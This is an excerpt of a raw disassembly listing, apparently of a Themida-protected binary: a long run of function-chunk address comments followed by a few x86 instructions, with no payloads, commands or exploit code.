; FUNCTION CHUNK AT 005870A9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005870EC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00587120 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058715E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058718D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00587229 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00587272 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005872DD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005872EE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00587307 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005873BB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005873E5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00587449 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00587499 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005874D0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00587517 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005875D9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058760C SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005876CA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00587719 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005877A8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005877E9 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00587942 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00587988 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00587A21 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00587A3C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00587A89 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00587ABC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00587B1E SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00587B6B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00587BB6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00587BC4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00587C26 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00587C80 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00587D25 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00587D6D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00587E06 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00587E1E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00587EB4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00587ED6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00587F05 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00587F57 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00587F7B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00587FB1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00587FF0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058803D SIZE 00000082 BYTES
; FUNCTION CHUNK AT 005880D8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00588106 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005881D7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005881F1 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058824C SIZE 00000061 BYTES
; FUNCTION CHUNK AT 005882BA SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005882EA SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058833F SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005883D8 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00588432 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00588460 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005884E0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058853C SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058856D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058858F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005885B7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005885DD SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00588629 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0058867B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058869B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005886BB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00588706 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058877C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0058882B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058889B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005888EA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00588910 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058893B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005889B0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00588A34 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00588A5A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00588A75 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00588AA6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00588ADD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00588B27 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00588B74 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00588B9E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00588BD8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00588C03 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00588D14 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00588D6F SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00588DB8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00588DD8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00588E06 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00588E30 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00588E63 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00588F2E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00588F6B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00588FB2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00588FC1 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00589016 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058903D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00589098 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00589109 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00589130 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00589149 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058919F SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0058928D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005892DB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005892F9 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 0058937A SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005893C2 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058941A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058946A SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005894FC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00589564 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005895AE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005895E6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00589600 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00589640 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005896E5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058970F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058978B SIZE 00000003 BYTES
; FUNCTION CHUNK AT 005897C7 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 00589820 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00589849 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005898AB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005898F2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00589915 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00589936 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00589960 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005899A4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005899E9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00589A59 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00589A93 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00589B18 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00589B67 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00589B9D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00589C1F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00589C44 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00589C80 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00589CB7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00589CD1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00589D48 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00589D81 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00589D8F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00589DBA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00589E0A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00589E4C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00589EC6 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00589F22 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00589F42 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00589F53 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00589F6A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00589F94 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058A00F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058A037 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058A0AD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058A191 SIZE 00000084 BYTES
; FUNCTION CHUNK AT 0058A2C1 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0058A359 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058A3C8 SIZE 0000004E BYTES
; FUNCTION CHUNK AT 0058A42B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058A469 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058A4B0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058A55A SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058A593 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058A61D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058A676 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 0058A707 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058A73E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058A77A SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058A7B7 SIZE 00000055 BYTES
; FUNCTION CHUNK AT 0058A818 SIZE 00000054 BYTES
; FUNCTION CHUNK AT 0058A8BD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058A8F9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058A930 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058A969 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058A99E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058AB2F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058AB58 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058AB95 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058ABCE SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058AC60 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0058ACC0 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0058AD22 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058AD50 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058AD86 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058AD95 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058ADAB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058AE24 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0058AE98 SIZE 0000006B BYTES
; FUNCTION CHUNK AT 0058AF96 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058AFF3 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0058B031 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0058B088 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058B0BA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058B0E1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058B147 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058B19E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058B1E3 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058B227 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058B27D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058B2EE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058B38B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058B3AF SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058B3E3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058B418 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058B465 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B48F SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058B4CF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058B53E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058B59D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B5B4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058B608 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B628 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0058B687 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058B719 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058B76F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B798 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058B7B4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058B7DD SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058B83E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058B86F SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058B8FC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058B937 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B984 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B9CC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058BA0D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058BA3F SIZE 00000066 BYTES
; FUNCTION CHUNK AT 0058BAEA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058BB9A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058BBBC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BBE9 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058BC3C SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0058BCBE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BD4C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058BD67 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058BD91 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BDB0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058BE27 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0058BEB0 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0058BF06 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BF68 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058BFDD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C013 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058C080 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 0058C10B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C12F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058C15A SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0058C1D5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C1FC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058C222 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C249 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C272 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058C2DF SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0058C33F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C3C0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058C3F1 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058C424 SIZE 0000005A BYTES
; FUNCTION CHUNK AT 0058C4D1 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058C525 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058C560 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0058C5C2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058C5EE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058C628 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C668 SIZE 0000006A BYTES
; FUNCTION CHUNK AT 0058C6EF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058C735 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0058C789 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058C84B SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0058C8B5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C920 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C973 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C991 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058C9B8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C9FA SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0058CA4F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058CA93 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058CAB1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058CADA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CAED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CB14 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CB2F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058CB56 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058CBE6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058CC23 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CCBB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CD51 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CD79 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 0058CDE7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058CE3A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058CE6F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058CEF6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058CF2A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CF72 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058CFCA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CFE1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D010 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058D0A7 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058D12D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D166 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058D19D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D1BD SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0058D251 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0058D2A7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D2D7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D2FA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058D32B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D378 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058D3B7 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 0058D417 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D450 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058D53A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058D594 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058D5D8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D602 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058D638 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058D6F3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058D71E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058D786 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D79F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D7C7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058D7FE SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058D85F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D87C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058D925 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058D94C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D98B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058D9CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058DA26 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DA3A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DAEE SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0058DB69 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DBE5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058DC23 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058DCA9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DD32 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0058DD86 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DD9C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DE00 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DE2E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DF29 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0058DFB2 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0058E024 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058E065 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058E0B2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E0D9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E0FF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E113 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E12F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058E1BF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058E1E4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E2DC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E303 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058E356 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058E37D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E3E0 SIZE 0000005A BYTES
; FUNCTION CHUNK AT 0058E46B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E4D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E527 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058E546 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058E5AC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058E5CA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058E64D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058E668 SIZE 0000004E BYTES
; FUNCTION CHUNK AT 0058E6D0 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058E714 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058E745 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E756 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E779 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E799 SIZE 0000005B BYTES
; FUNCTION CHUNK AT 0058E8C9 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0058E919 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058EA54 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EA62 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058EAAF SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058EAF6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058EB1D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058EC25 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058EC48 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058ED76 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0058EDC3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058EE23 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058EE68 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058EEBA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058EF15 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058EF9E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058F064 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F165 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058F18D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058F1CD SIZE 0000006A BYTES
; FUNCTION CHUNK AT 0058F24C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F267 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F294 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058F31E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058F344 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058F3DA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F3F8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F416 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0058F4C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F50B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058F53F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F554 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0058F5E1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F5FC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F699 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058F709 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058F760 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058F777 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F7FF SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0058F860 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058F885 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F8E3 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058F92F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058F968 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F97E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FA13 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FA43 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FA58 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058FAE4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058FB34 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058FB7D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058FB98 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FBD8 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 0058FC36 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058FCAE SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058FCE2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058FD0B SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058FD7F SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0058FDDC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058FE0B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058FE30 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058FEC2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FEFC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058FF4E SIZE 00000037 BYTES
push ebx
push edx
mov dl, 16h
mov bh, dl
pop edx
inc bh
jmp loc_585E78
; ---------------------------------------------------------------------------
loc_585460: ; CODE XREF: Themida_:00588568j
mov esi, [esp+0Ah+var_C+2]
add esp, 4
push 2027h
mov [esp+0Ah+var_C+2], edx
